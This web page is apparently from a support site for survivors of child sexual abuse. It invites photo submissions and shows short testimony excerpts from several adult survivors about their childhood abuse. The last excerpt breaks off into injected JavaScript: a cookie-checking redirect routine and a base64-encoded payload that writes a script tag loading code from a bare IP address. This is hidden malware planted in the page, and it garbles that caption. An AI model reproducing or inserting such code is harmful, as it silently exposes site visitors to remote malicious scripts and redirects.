Photos & Captions

We encourage and have received hundreds of photos of survivors of child sexual abuse when they were children or photos of them today in addition to any statement they want to make, either anonymously or not. They come to us via email with a scanned photo or snail mail. Join us, if you wish, and send your photo and caption or just a caption to: gina@letgoletpeacecomein.org or you can mail them to the address listed on the contact page.(we will return original photos upon request ). . To view the entire caption of any survivor, simply click on their name.

009- Margie M (United States)

I was 13. It was Solemn Communion Day, the first time I’d ever worn a store bought dress, nylons and a garter belt. I swirled into the kitchen to show it off. My mother grabbed the dress, pulled it up to expose my undergarments, saying, “Look Bernie, our little girl is growing up.” The look […]

008- Morris J (United States)

Children need love; they naturally seek it out. Children have a natural desire for security from those with authority. Child sexual abuse confounds the child’s mind so badly to the point where it may take many years to finally come to terms with the event. It took me over 30 years after the first event. […]

007- Annie B (United States)

I was nine years old when this picture was taken. By that time, I had been involved in years of sexual activity with adults and older children, and while I knew how to please someone sexually, I hadn’t yet learned long division at school. I silently hoped someone would see in my eyes what I […]

006- Paul F. (United States)

I was 12 when I took this picture. I wanted to see if the feelings of shame were visible on the outside. The abuse happened over the course of a few years. I don’t remember how many times. I have never trusted anyone or had a close friend since. I was sexually abused again at […]

005- Jeff D. (United States)

An older, stronger, neighborhood boy. One solitary memory. Is it real? Was it abuse? Was there more? Why I may never know…But it was real. I wanted to be accepted and loved at any cost…my being, my soul…The shame, the sadness, the desparation, the silence….no child should ever know. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void […]